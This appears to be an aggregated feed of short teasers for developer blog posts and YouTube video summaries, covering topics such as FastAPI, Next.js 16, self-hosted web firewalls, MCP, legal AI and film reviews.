    Would you like to be our card game designer for the OWASP Cornucopia Website Edition v3.0? We are close to releasing the next version of OWASP Cornucopia Website Edition v3.0 We just wonder whether there are some brillient designers out there that would like to volunteer to make the motives for the 80 cards in OWASP's very popular threat modeling card games for website applications? OWASP® Cornucopia is a threat modeling tool in the form of a card game to assist software development teams in identifying security requirements in Agile, conventional, and formal development processes. It strives to be language, platform, and technology-agnostic. It’s one of the few tools that connects threat modeling with OWASP ASVS, SAFECode, STRIDE, OWASP DevGuide, and CAPEC, helping to identify security …  ( 8 min )
    Creating a Basic FastAPI Application with CRUD Operations
    FastAPI is one of the fastest-growing Python frameworks for building modern APIs. It is fast, easy to use, and comes with built-in data validation using Pydantic. 🚀 What We Will Build id name description price in_stock We will implement: Create an item Read all items / single item Update an item Delete an item 📦 Project Setup Ensure you have Python 3.8+ installed. Install FastAPI & Uvicorn pip install fastapi uvicorn 🗂️ Project Structure fastapi-crud/ │ ├── main.py └── models.py 🧱 Step 1: Create the Pydantic Model (models.py) from pydantic import BaseModel class Item(BaseModel): id: int name: str description: str | None = None price: float in_stock: bool = True ⚙️ Step 2: Build FastAPI CRUD Endpoints (main.py) from fastapi import FastAPI, HTTPException from mo…  ( 7 min )
    [Boost]
    From Material 2 to Material You: Everything New in Material 3 for Android Developers Mohit Rajput ・ Nov 11 #androiddevelopment #jetpackcompose #material3 #materialdesign  ( 5 min )
    NPR Music: Pulp: Tiny Desk Concert
    Pulp made a surprise comeback this spring with More, their first album in 25 years, and celebrated by turning NPR’s Tiny Desk into their own cozy stage. Jarvis Cocker and co. kicked things off with a playful team chant—“This will be the very best Tiny Desk”—then delivered a tight four-song set that wove through their career highlights. You got the bittersweet nostalgia of “A Sunset” from the new record alongside fan favorites like the swaggering “This Is Hardcore,” the jangly “Something Changed” and the ’90s classic “Acrylic Afternoons.” It was equal parts deadpan humor and heartfelt performance, proving Pulp still knows how to make every moment feel distinctly theirs. Watch on YouTube  ( 6 min )
    7 Best Alternatives to Botpress in 2025
    AI chatbots have become essential for businesses looking to improve customer support, automate workflows, and streamline operations. While Botpress is still popular among developers for its open-source flexibility, many teams now prefer tools that offer faster setup, stronger AI capabilities, and easier deployment across multiple channels. YourGPT is a complete AI platform for support, sales, and workflow automation. It allows teams to build and deploy AI agents without writing code. You can train the system using PDFs, websites, Notion pages, Google Sheets, internal knowledge bases, and CRM data. Deployment is available across web chat, WhatsApp, Instagram, Slack, Telegram, email, and voice, making it suitable for both customer-facing and internal workflows. No-code AI agent builder for …  ( 10 min )
    4 Best GIS Software Picks: Find the Perfect Free & Professional Tools
    In fields such as urban planning, logistics scheduling, and environmental monitoring, GIS software has become a core tool for data processing and spatial analysis. The needs for GIS tools vary significantly across different scenarios: individual developers value free and open-source software, enterprise users focus on professional functions, and engineering teams require efficient data transformation capabilities. The following are four selected GIS software programs, covering diverse needs from lightweight data processing to professional-level spatial analysis. Free and Open Source: No licensing fees are required; the code is open and transparent, supporting user-defined secondary development. Strong Compatibility: Supports almost all mainstream spatial data formats (such as Shapefile, Ge…  ( 7 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins slaps together a rapid-fire takedown of Thunderbolts, dishing out every on-screen “sin” while cheekily wondering if the movie might actually be a blast. Want more? Swing by their website or Linktree for extra channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), fill out their sinful poll, back them on Patreon, and join the CinemaSins crew—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Discord, Reddit, Instagram or TikTok for all the movie nitpicking you can handle. Watch on YouTube  ( 6 min )
    Top Security Threats in Blockchain
    Understanding Blockchain and the Importance of Security Blockchain technology operates as a distributed ledger system where transactions are recorded across multiple nodes in a network, creating an immutable chain of data blocks. While blockchain's decentralized architecture inherently provides security advantages over traditional centralized systems, it also introduces unique vulnerabilities that malicious actors continuously exploit. As billions of dollars flow through blockchain networks daily, understanding these security threats has become critical for developers, investors, and users alike. The stakes are extraordinarily high: a single vulnerability can result in the theft of millions in cryptocurrency, the collapse of decentralized applications, or the erosion of trust in entire b…  ( 10 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    A New High? – Predator: Badlands Review Predator: Badlands flips the script by turning the iconic alien hunter into the hero, and it’s paying off—fans and critics are loving it, and it smashed franchise opening-weekend box-office records. This PG-13 sequel (the first since 2004’s Alien VS Predator) leans into its Alien crossover roots while giving us a fresh take on our favorite shoulder-cannon-wielding beast. This spoiler-packed breakdown comes straight from The Weekly Planet podcast—dropping every Monday on YouTube, Spotify, Apple Podcasts and more. For early videos, bonus pods and merch, hit up BigSandwich.co, follow the hosts on Twitter, or back the show on Patreon. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Predator - Caravan of Garbage
    The Predator – Caravan of Garbage By wrapping up Fox’s Predator era with Shane Black back in the director’s chair, an R-rating, solid cast and a massive budget, this entry had everything going for it—yet somehow earns the dubious title of the franchise’s worst. In true Caravan of Garbage fashion, the movie’s colossal nine-foot Predator and bizarre “autism as a superpower” twist are called out as highlights … for all the wrong reasons. Watch on YouTube  ( 6 min )
    The Ghost Workers
    At 3 AM in Manila, Maria scrolls through a queue of flagged social media posts, her eyes scanning for hate speech, graphic violence, and misinformation. Each decision she makes trains the AI system that millions of users believe operates autonomously. Behind every self-driving car navigating city streets, every surgical robot performing delicate procedures, and every intelligent chatbot answering customer queries, lies an invisible army of human workers like Maria. These are the ghost workers of the AI revolution—the unseen human labour that keeps our supposedly autonomous systems running. The word "autonomous" carries weight. It suggests independence, self-direction, the ability to operate without external control. When IBM defines autonomous systems as those acting "without human intelli…  ( 23 min )
    Fusaka Mainnet Upgrade, Linea’s Exponent Tokenomics, Etherspot’s EIP-7702 Workshop at Devconnect
    We are welcoming you to our weekly digest! Here, we discuss the latest trends and advancements in account abstraction, chain abstraction and everything related, as well as bring some insights from Etherspot’s kitchen. The latest news we'll cover: Ethereum Foundation Announces “Fusaka” Mainnet Upgrade for December 3 Linea Links Tokenomics to Ethereum’s Supply via Exponent Upgrade Etherspot’s EIP-7702 Workshop at Devconnect’s AA Hub Smart Wallets & Account Abstraction Fuel a UX Revolution in DeFi Please fasten your belts! The Ethereum Foundation has revealed that the “Fusaka” upgrade will activate at slot 13,164,544, scheduled for 21:49:11 UTC on December 3, 2025. This milestone represents a major step in Ethereum’s roadmap to increase data-availability capacity and improve rollup scalabilit…  ( 9 min )
    How to Add Real-Time Web Search to Your LLM Using Tavily
    Learn how to connect Tavily Search so your AI can fetch real-time facts instead of guessing. Large language models are smart. But they are not always informed. They can write code, summarize books, and explain complex topics, but they struggle with real-time facts. Their knowledge ends at their training cutoff, which means they can’t tell you what happened last week or even last year. That’s where web search comes in. By connecting a model to a search API like Tavily, you can give your LLM access to current, factual information from the internet. This makes your AI assistant, chatbot, or RAG pipeline much more accurate and context-aware. This guide will show you how to enable real-time web search in your LLM workflow using Tavily and LangChain. When you ask a model a question like “What ar…  ( 9 min )
    Setup Your Lightweight Backend in Minutes using PocketBase and Sevalla
    Set up a full-featured, lightweight backend in minutes with PocketBase — an open-source Go-powered platform that combines database, authentication, and real-time APIs in a single file. If you’re a developer looking for a simple, fast, and self-hosted backend, PocketBase might be exactly what you need. It’s an open-source backend written in Go that lets you set up a complete backend with database, authentication, file storage, and real-time updates, all in a single executable file. In this guide, we’ll explore what makes PocketBase special, how to set it up on both your local machine and on the cloud using Sevalla. PocketBase is an all-in-one backend that provides everything you need to power a modern web or mobile app, eliminating the need for large infrastructure. It includes an embedded …  ( 11 min )
    What I Learned After My First Week Sharing on Dev.to
    Reflections on community, engagement, and growth as a dev When I posted my first blog on Dev.to, I didn’t expect much. Maybe a few views, a couple of quiet reactions, and that’s it. Instead, I found myself in conversations I didn’t even expect to have. People added their own angles, corrected things, expanded ideas, and made me look at the topic differently. That experience changed how I see writing and how I see Dev.to. I arrived with small expectations I mainly joined Dev.to to document what I was learning. It felt like a safe space to think out loud, nothing more. But the way people engaged with the post surprised me. It wasn’t the usual surface-level reactions. Readers here actually respond to the ideas. One comment reframed “data ownership” into “computation ownership,” and that simpl…  ( 8 min )
    I built a clean admin dashboard template using Next.js + MUI — would love your feedback!
    Hey everyone 👋 I’ve been working on a Next.js + Material UI dashboard template designed to help developers build modern admin panels faster. It’s built with: Next.js (App Router) Material UI + custom theme (light/dark mode) TypeScript + modular folder structure Atomic design pattern 💻 Live demo (no login): dashwave.cc I’d love feedback on the layout, and UX — thanks in advance! 🙌  ( 6 min )
    #1 Frontend Code Quality: Making Your Code Shine with TypeScript, ESLint, Prettier, and Strict Mode
    #1 Frontend Code Quality: Making Your Code Shine with TypeScript, ESLint, Prettier, and Strict Mode Ever looked at your frontend code a week after writing it and thought, "What on earth was I thinking?" We've all been there! Writing code that works is one thing, but writing code that's clean, maintainable, and easy to understand is a whole different ballgame. Good news: tools like TypeScript, ESLint, Prettier, and Strict Mode can help you get there. Think of your codebase as a house. If it's built haphazardly with no planning, it might stand for a little while, but eventually, things will start to crumble. Similarly, messy code leads to: Bugs: Harder to spot and fix errors lurking in poorly structured code. Maintenance Nightmares: Spending hours deciphering what someone (maybe even …  ( 8 min )
    Seagate Launches Next-Generation Edge Enterprise Storage, Engineered for Tomorrow’s Data Challenges
    A post by BACK LINK1  ( 5 min )
    The MCP Reckoning => Why the Protocol Never Worked and What Comes Next
    Three years ago, I read the Steve Jobs biography. The part about the iPhone obsessed me. Not the design. The philosophy: "People don't know what they want until you show it to them." He was right about phones. But somewhere along the way, the AI industry got it backwards. Last week, Anthropic published their engineering blog post on "Code Execution with MCP." The post celebrated a 98.7% token reduction by having agents write code instead of making direct tool calls. The AI community erupted. "This is brilliant!" "This solves the context problem!" But here's the thing: this isn't innovation. It's damage control. When the Model Context Protocol launched, it made sense. Direct function definitions seemed logical. Load the tool definitions into context, let the model pick which one to call, ob…  ( 9 min )
    🚀 Vibe Coding Mistakes (When Using AI Tools) and How to Avoid Them
    AI-powered coding tools like ChatGPT, Claude, GitHub Copilot, Cursor, Windsurf, Amazon Q, Replit, Firebase Studio, Continue.dev, Codeium, Tabnine, and many more have changed the way we build software forever. You can now: Build MVPs in hours It’s fast and fun, and it makes you feel 10x more productive. But if you’re not careful, vibe coding can also create fragile, inconsistent, and insecure code. Developers often ask: “Can AI-generated code really be used in production?” Yes, but only if you avoid these common mistakes. Let’s break them down 👇 ⚠️ 1. Blindly Accepting AI-Generated Code How to fix it: Pro Tip: Use tools like CodeRabbit.ai, DeepCode, and Qodo.ai to run automatic code reviews and spot issues before they hit production. 🧩 2. Overengineering Solutions How to fix it: 🧱 3. Sty…  ( 9 min )
    [Boost]
    New major HMPL version 3.2.0 🕶 Anthony Max for HMPL.js ・ Nov 12 #webdev #javascript #programming #opensource  ( 5 min )
    How to Power IoT and Embedded Devices Efficiently with Lithium Batteries
    The Internet of Things (IoT) has transformed how devices interact with the world. From environmental sensors scattered across cities to wearable medical monitors, billions of small, intelligent devices are constantly collecting and transmitting data. Yet, every IoT developer faces the same fundamental challenge — powering these devices efficiently, reliably, and for as long as possible. While microcontrollers and wireless chips have evolved rapidly, energy storage remains a critical design constraint. Among the available energy solutions, lithium batteries — particularly Li-ion and LiFePO4 chemistries — stand out for their compactness, high energy density, and adaptability. This guide explores how developers can select, design, and optimize lithium batteries for embedded and IoT systems. 1…  ( 9 min )
    Beyond the Price: The Real Value of Bitcoin Is How It Makes You Feel Free
    If you’ve followed Bitcoin for a while, you know how loud the conversation can get. Every day it’s about the price; how it’s shooting up, crashing down, or “finally stabilizing.” But here’s the thing, once you use Bitcoin, the price starts to fade into the background. Because the real value isn’t in dollars or charts. What is important is how it makes you feel. https://akashapay.com/ .  ( 7 min )
    Mastering Async & Concurrency: The React 18+ & Next.js Paradigm Shift
    Concurrency is about dealing with a lot of things at once. 1.Concurrency vs Asynchronous — Core Concepts Asynchronous Definition: The ability to initiate an operation and continue executing other code without waiting for that operation to complete, returning to it later. It's about "doing one thing while waiting for another to finish" without halting the main flow. Goal: Primarily, to prevent blocking the main thread, ensuring the application remains responsive, especially during I/O operations. Mechanism: Achieved through constructs like Promises, async/await syntax, callbacks, and the browser's Web APIs or Node.js's native APIs. Example: const data = await fetch("/api/user"); // non-blocking network request console.log("I run while fetch is pending"); JavaScript is fundamentally single-…  ( 8 min )
    How to obtain the public key and signature fingerprint for APP platform filling?
    Read the original article:How to obtain the public key and signature fingerprint for APP platform filling? Problem Description When using cloud resources on major platforms in mobile applications, you need to register your application with the respective platform. These platforms often require the public key and signature fingerprint of the app. Taking HarmonyOS application registration on Huawei Cloud as an example, how can one obtain the corresponding public key and MD5 signature? Background Knowledge A certificateis a digital certificate that configures signature information for HarmonyOS applications/microservices. It ensures the integrity of software code and the authenticity of the publisher. The certificate format is .cer, which contains the public key, certificate fingerprint (i.e., a summary of the certificate), etc. Solution The detailed process to obtain the public key and signature fingerprint can be found on the official website: Key Takeaways Q: What is MD5? A: The full name is Message-Digest Algorithm 5, a hash-based message digest algorithm. The result is a 32-character hexadecimal string. Q: On a Mac computer, how do I obtain the public key and signature info from the downloaded certificate? A: Open the downloaded .cer certificate file with a text editor on your Mac. After removing the root certificate and intermediate certificate content, save and close the file. Then select the file and press the spacebar to preview it. You will be able to view the MD5 signature, SHA1, and SHA256 values. Q: How do I submit a change of APP information on the registration page? A: Refer to FAQ item 18 in the APP Registration FAQ, which provides a solution for updating APP information. Related Documents or Links https://developer.huawei.com/consumer/en/doc/app/agc-help-add-releasecert-0000001946273961 Written by Hatice Akyel  ( 7 min )
    Why Continuous Learning Is the Secret to Long-Term Career Growth
    Think back to the start of your career. Everything felt new. You were learning, solving fresh problems, and growing every day. Then somewhere along the way, the excitement faded. Work became routine. Progress slowed down — even though you were doing fine on paper. That’s the moment most professionals realize an important truth: doing well isn’t the same as moving forward. To stay relevant and grow, you must keep learning — continuously. When Growth Hits Pause Take Amar’s story. He started strong — energetic, curious, and eager to learn. But after a few years, his tasks felt repetitive. He stopped picking up new tools or trying fresh ideas. Meanwhile, his peers who kept learning moved ahead. Amar wasn’t doing anything wrong — he just stopped growing. That’s what happens when we rely too lon…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan The Ringer’s Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s noir‐tinged thriller Snake Eyes, starring Nicolas Cage, Gary Sinise, and Carla Gugino—and emerge proudly declaring themselves “kings of the sewer.” Producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo keep the conversation rolling with insider takes on De Palma’s style, the film’s twists, and its legacy. This episode is brought to you by PayPal. Make the most of your money all holiday long with 5% cash back when you Pay in 4—offer valid through 12/31. Subscribe to The Ringer channels on YouTube, follow on social media, and never miss another deep dive. Watch on YouTube  ( 6 min )
    Build a Google Docs-Style Editor with NextJS and Quill
    Real-time collaboration has become the standard for modern productivity tools, transforming how we work and interact. In this tutorial, you’ll learn how to build a Google Docs–style collaborative editor that lets multiple users create, edit, and share documents in real time. We’ll use QuillJS to integrate a rich WYSIWYG editor, Next.js for full-stack development, and the Stream Chat SDK to synchronize live changes across users. By the end of this tutorial, you’ll have a fully functional collaborative editor that allows teams to work together on the same document, just like in Google Docs. To fully understand this tutorial, you need to have a basic understanding of React or Next.js. We will use the following tools: Stream React Chat SDK - Enables real-time chat communication in your appli…  ( 20 min )
    Why I Use JetBrains Rider for .NET Development
    Finding the ideal IDE for .NET work is rarely a straightforward journey. As .NET developers, I invest huge amounts of time in tooling, and every annoyance—slow loading, awkward workflows, missing features, can disrupt my focus and flow. Visual Studio has long dominated my daily tool statistics, but in recent years JetBrains Rider has earned a place on my machine, and for good reason. Rider is not just another editor. It’s a modern, cross-platform IDE built from the ground up by the same people behind ReSharper. If you’ve ever dreamed of a fast, resource-efficient, and deeply integrated development environment for .NET, Rider is likely already on your radar. What I’ve found is that, once you get past the initial adjustment, Rider quietly improves the everyday experience of .NET development—…  ( 10 min )
    I Trained 4 AI Tools on My Work. Now They Remember Everything I Forget.
    Last month I realized I'd written the same article introduction three times. Not on purpose. I just forgot I'd already explored that angle. My brain has limited RAM, and after writing 200+ pieces of SaaS content, it's full. So I did something that felt slightly weird: I fed four different AI tools everything I've ever written, every client brief, every half-finished draft sitting in Google Docs. Here's how I actually use them: ChatGPT Projects: The One That Knows My Voice Published posts (all of them) When I start a new piece, I don't ask it to write. I ask: "Have I covered this before? What did I say about onboarding flows last time?" It pulls exact quotes from my past work. Shows me patterns I didn't notice. Tells me when I'm about to repeat myself. When I use it: Daily. Before starting …  ( 9 min )
    Top 10 Data Analysis Techniques for 2025: Turning Data into Actionable Insights
    As we move into 2025, the world of data analytics continues to evolve at lightning speed. With technologies like artificial intelligence (AI), machine learning (ML), and big data analytics redefining how organizations make decisions, businesses that master modern data analysis techniques are set to dominate their industries. This article explores the top 10 data analysis techniques for 2025, their applications, and how they can help you uncover hidden insights, predict trends, and make smarter, data-driven decisions. Data analysis is the process of collecting, cleaning, transforming, and modeling data to discover meaningful patterns and support strategic decisions. In 2025, data analysis isn’t just about crunching numbers — it’s about using AI-driven insights, predictive algorithms, and au…  ( 9 min )
    Building Stronger Brand Messaging Through Data-Driven Insights
    In modern marketing, clarity and consistency matter more than ever. Brands that communicate with precision are the ones that stand out—no matter how crowded the industry becomes. Data-driven insights play a crucial role in shaping that clarity. Instead of relying solely on intuition or traditional surveys, marketers now have access to detailed behavioral analytics, customer segmentation tools, and predictive models that reveal what audiences actually want. By evaluating how users interact with pages, campaigns, and calls-to-action, marketers can refine messaging to match real consumer expectations. This level of insight ensures that every headline, landing page, and email sequence resonates with emotional triggers that drive action. Although tools like AI SEO and AI SEO Rank Tracking Tools…  ( 7 min )
    How AI SEO is Transforming Technical Optimization for Developers
    As websites grow more complex and user expectations continue to rise, developers are facing increasing pressure to build platforms that are fast, scalable, and search-friendly. This is where AI SEO is making a significant impact. Traditional SEO often required developers to rely on manual audits, scattered performance reports, and inconsistent communication with marketing teams. Today, AI SEO tools streamline these processes by automating analysis and prioritizing the most impactful tasks. AI systems can scan hundreds of pages within minutes, identifying issues such as slow loading times, JavaScript rendering problems, or inefficient site structures. This frees developers from tedious manual reviews and allows them to focus on meaningful optimizations. Even better, AI SEO platforms often t…  ( 7 min )
    How to Plan a Tournament Structure When You Don't Know Where to Start
    Organizing a tournament sounds simple - until you sit down with a list of teams and realize you have no idea which format fits your event. This guide is a practical walk-through of how to choose and set up the right structure using well-known scheduling methods: round robin, Swiss system, single elimination, and double elimination. It's written for coaches, volunteers, community organizers, and anyone who needs a clear method without diving into code or math-heavy documentation. Before choosing a format, answer three basic questions: How many players or teams do you have? Small groups often benefit from round robin. Larger groups require elimination or Swiss structures. How much time do you have? Round robin takes the longest, while single elimination is the fastest. How important is fairn…  ( 8 min )
    Building Your Own Cloud: A Linux VPC Simulator with vpcctl
    Have you ever wondered how cloud providers like AWS or Azure create isolated, secure networks? This project, built entirely on native Linux kernel tools (like ip, brctl, and iptables), demonstrates a fully functional Virtual Private Cloud (VPC) environment on a single host. We built a custom command-line interface, vpcctl, to manage it all. The goal of this project was to replicate a cloud VPC's complex routing and security features without using any third-party virtualization software. The core of the architecture relies on three kernel primitives: Component,Linux Implementation,Function VPC (The Network),"Linux Bridge (vpc0, vpc1)","Acts as the central VPC Router, connecting all subnets." Subnets,"Network Namespaces (web_ns, db_ns)",Provides complete network isolation for each subnet's h…  ( 7 min )
    Self-Hosted Web Application Firewall for My Homelab
    As someone who enjoys experimenting with self-hosted solutions, I recently decided to implement SafeLine WAF in my homelab. SafeLine, developed by Chaitin Tech, is a self-hosted WAF that uses AI-powered semantic analysis to offer advanced protection for web applications. In this post, I’ll share my experience with SafeLine, why I chose it over other WAF solutions, and how you can set it up in your own homelab. SafeLine is a self-hosted Web Application Firewall that works as a reverse proxy. It provides real-time protection by intercepting and filtering web traffic before it reaches your web applications. What sets SafeLine apart from traditional WAFs is its use of semantic analysis powered by machine learning, which helps detect and block malicious traffic based on intent, not just signatu…  ( 7 min )
    Spring Boot LogX — Free Request Tracing & Smart Logging Boilerplate for Clean, Debuggable APIs
    TL;DR: LogX is a free Spring Boot starter that adds automatic requestId tracing, structured error handling, and clean log correlation so you can debug APIs faster. If you’ve ever opened your logs and felt overwhelmed by chaotic, mixed-up log lines, you’re not alone. Spring Boot LogX solves log traceability problems by assigning a unique requestId to every incoming API call and injecting it into your logs, responses, and error payloads. This boilerplate is ideal for beginners, backend engineers, small teams, and anyone building new Spring Boot services who wants better observability without writing the plumbing from scratch. Saves time: Includes a ready-to-use logging setup so you don’t write filters, handlers, and MDC code manually. Production-ready: Daily rolling file logs, consistent …  ( 8 min )
    Everything about Next.js 16
    Next.js 16 is here, and it brings one of the most polished releases the framework has seen in a while. Instead of chasing big rewrites, this version focuses on the fundamentals, faster builds, predictable caching, smarter routing, and better developer visibility. And if you’re deploying on Appwrite Sites, you can start using Next.js 16 today. The latest release is fully supported, so you can build, test, and host your Next.js projects seamlessly on Appwrite’s open-source infrastructure. Many of the features introduced in earlier betas are now stable and production-ready, giving developers more control and consistency across their workflows. Here’s what’s new, what’s changed, and why it matters for anyone building with Next.js today. Caching in Next.js used to be a bit of a mystery. Sometim…  ( 9 min )
    Building Reliable Legal AI: Never Missing a Supreme Court Case
    When Three AI Tools Missed Three SCOTUS Decisions: A Technical Post-Mortem A roadmap to build explainable legal AI using Virtuoso, MyScaleDB, PostgreSQL, and Phi-4. Context: This article follows Why Current Legal AI Fails (in French) and From Retrieval to Reasoning: Rebuilding the Grammar of Legal Intelligence, which detailed the philosophical failures. This is the technical implementation. Law isn't a pile of documents—it's a living web of meaning. A jurist doesn't ask "where does this word appear?" but "what principle connects this case to that statute?" In previous work, I've argued that legal AI tools often reproduce bias, opacity, and epistemic shortcuts—automating the appearance of reasoning without its substance. This article is different. It's the implementation blueprint—the bridg…  ( 28 min )
    The Illusion of Control
    After exposing the theater (I) and watching its actors perfect their organized laziness (II), it’s time to let the curtain fall. Agile began with a simple promise: to put people back at the center of software. those who think and those who build. Teams stopped writing novels of documentation and started talking. That's what made early Agile intoxicating — it didn't demand faith, it rewarded honesty. It was the moment when we realized that uncertainty wasn't a flaw in the system; it was the system itself. Software was alive, changing, unpredictable — and so were we. But then came success. And with success came fear. The same executives who once celebrated autonomy began to ask the oldest managerial question: "How do we make this repeatable?" It's the question that kills every revolution. So…  ( 13 min )
    Dumper: A single tool for databases backup
    Description When there are dozens of services and databases of different types in the infrastructure, manual backups turn into a nightmare. One server uses PostgreSQL, another uses MySQL, and the third uses MongoDB, and each needs its own commands (pg_dump, mysqldump, mongodump) and its own scripts. The Dumper project solves this problem by combining all types of databases into one universal tool. Dumper is written in Go and works via the CLI, the configuration is set in YAML, so it’s easy to embed it in cron, CI/CD pipelines, GitHub Actions, or a Docker environment. Advantages of Dumper Multi-DBMS — PostgreSQL, MySQL, MongoDB and others. SSH connections — you can make dumps from remote servers. Flexible file name templates are convenient for storage and automation. Automatic archivi…  ( 7 min )
    Upgraded My Homelab Web Security with SafeLine WAF
    After setting up fail2ban for SSH protection, I realized my web services needed more sophisticated security. After few research I discovered SafeLine WAF, and ended up trying it out on my homelab setup. What SafeLine Does: Acts as reverse proxy with AI-powered threat detection Uses semantic analysis instead of signature-based rules Blocks SQL injection, XSS, RCE, path traversal automatically Sub-millisecond response times with minimal false positives Self-hosted with web-based management interface Results: Been running from past 5 days now (pretty new experience) with zero manual intervention needed. I tried doing some testing by myself to attack a few of my services which have Safeline in between, the AI detection did pretty good at catching things. The dashboard provides great visibility into attack patterns and blocked threats. Setup took about 15-20 minutes including SSL configuration. Free version protects up to 10 applications, which covers most homelab setups perfectly. Full setup guide: https://akashrajpurohit.com/blog/safeline-waf-protecting-your-web-applications-with-selfhosted-security/ What other web security solutions are you running in your homelab?  ( 6 min )
    Common Techniques Used in White Box Testing Explained
    In software development, the quest for building reliable, secure, and high-performing applications never ends. Among the many testing strategies used to ensure code quality, white box testing stands out for its ability to dive deep into the internal logic and structure of an application. Unlike black box testing, which focuses on outputs based on inputs, white box testing allows developers to look inside the code — analyzing logic paths, conditions, and internal workings to find and fix potential issues early. This detailed and proactive approach is crucial for achieving robust, bug-free software. Let’s explore what white box testing really is, why it matters, and the most common techniques used to make it effective in modern software development workflows. What is White Box Testing? White…  ( 9 min )
    Open Source, AI and the New Attack Surface - Webinar
    🚀 𝐒𝐚𝐟𝐞𝐃𝐞𝐯 𝐓𝐚𝐥𝐤: 𝐎𝐩𝐞𝐧 𝐒𝐨𝐮𝐫𝐜𝐞, 𝐀𝐈 & 𝐓𝐡𝐞 𝐍𝐞𝐰 𝐀𝐭𝐭𝐚𝐜𝐤 𝐒𝐮𝐫𝐟𝐚𝐜𝐞: 𝐖𝐞𝐚𝐩𝐨𝐧𝐢𝐳𝐞𝐝 𝐂𝐨𝐝𝐞, 𝐒𝐦𝐚𝐫𝐭𝐞𝐫 𝐃𝐞𝐟𝐞𝐧𝐬𝐞𝐬 Xygeni for a live discussion on how to stay resilient in this new landscape. 🗓 When: 𝐍𝐨𝐯𝐞𝐦𝐛𝐞𝐫 𝟐𝟔𝐭𝐡 Roman Zhukov: Security & Privacy Leader, Red Hat Leon Johnson: Offensive Security & Privacy Lead, TikTok Luis Rodríguez Berzosa: CTO, Xygeni If you’re building or securing software, this one’s for you. Register here and join the conversation.  ( 6 min )
    Automate OTel Collector Deployments with Bindplane's New Feature
    Automating OpenTelemetry Collector Deployment Just Got Easier The world of observability and monitoring has just become a bit more streamlined, thanks to Bindplane. This platform has added a new feature that enables developers to automate the deployment of OpenTelemetry collectors. In this post, we'll dive into what this means for your application's performance, security, and scalability. What is Bindplane? Bindplane is an observability platform that collects and normalizes data from various sources across your applications and infrastructure. It provides a unified view of system metrics, logs, and traces, making it easier to monitor and troubleshoot issues. OpenTelemetry Collectors: A Brief Overview OpenTelemetry collectors are responsible for collecting telemetry data from applicat…  ( 7 min )
    XML Schema Validation 1.1 in Java
    This week, I received an interesting task: dusting off a legacy Java application. The application analyzes specific XML files in proprietary format. I know XML doesn't sound sexy to junior developers, but it has an amazing benefit. One can validate a file against a grammar. Such grammar is called an XSD, the acronym for XML Schema Definition. Fun fact: you write XSDs in XML. In this post, I explain the problem, what I tried, and the final working solution. The good thing is that the application already uses XSD. Yet, at the time of the application's inception, XSD validation was in version 1.0. Version 1.1 added several significant features. In particular, v1.1 adds assertions and identity constraints. There were numerous //TODO validate comments in the Java code that couldn't be implement…  ( 9 min )
    How Angular Signals Transformed My State Management - And Yours Can Too
    If you've ever felt frustrated by slow Angular apps or complicated state management, Angular Signals bring a fresh breath of air. Think of Signals like special variables that know when their values change and tell Angular exactly which parts of your app need updating. This means your app runs faster and only refreshes what truly needs it, making everything more efficient. Unlike traditional methods like Observables or NgRx, Signals are simple and easy to use. They're synchronous, so you can get and set values directly without dealing with complex streams or subscriptions. Because Angular knows exactly where these signals are used, it updates only those parts of your app when data changes. This cuts down unnecessary work, helps keep your code cleaner, and improves overall app performance. W…  ( 12 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan dive into Brian De Palma’s 1998 thriller Snake Eyes—talking Nic Cage’s over-the-top lead, Gary Sinise’s sneaky twists, Carla Gugino’s cool factor, and why they crown themselves “kings of the sewer” after this rewatch. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is sponsored by PayPal (snag 5% cash back when you Pay in 4 through 12/31). Don’t forget to subscribe to The Ringer’s YouTube channels and follow on social for more movie madness. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 5 - 'Lady Bird’
    The 25 Best Movies of the Century, No. 5: Lady Bird Sean and Amanda pick up their year-long countdown with Greta Gerwig’s Lady Bird, celebrating it as the ultimate millennial coming-of-age film. They dive into its messy, heartfelt mother-daughter drama and explain why this indie darling deserves the No. 5 spot. Along the way, they debate why Lady Bird outshines other Gerwig favorites—Little Women and Frances Ha—and cement its place as one of the century’s most defining stories of growing up. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins rips into Thunderbolts* with their signature “Everything Wrong With” shtick, tallying up all the sins in under 20 minutes—yet even as they dunk on plot holes and cringe moments, they cheekily admit the movie might actually be fun to watch. Want more CinemaSins? Hit up their website and Linktree for all channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), toss them your opinions in a quick poll, or support the crew on Patreon. Don’t forget to join the Discord and Reddit communities, follow the writers on Twitter/Instagram, and catch the latest on TikTok. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
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    Metric Tradeoffs in Data Science: Deciding When One Metric Goes Up and Another Goes Down
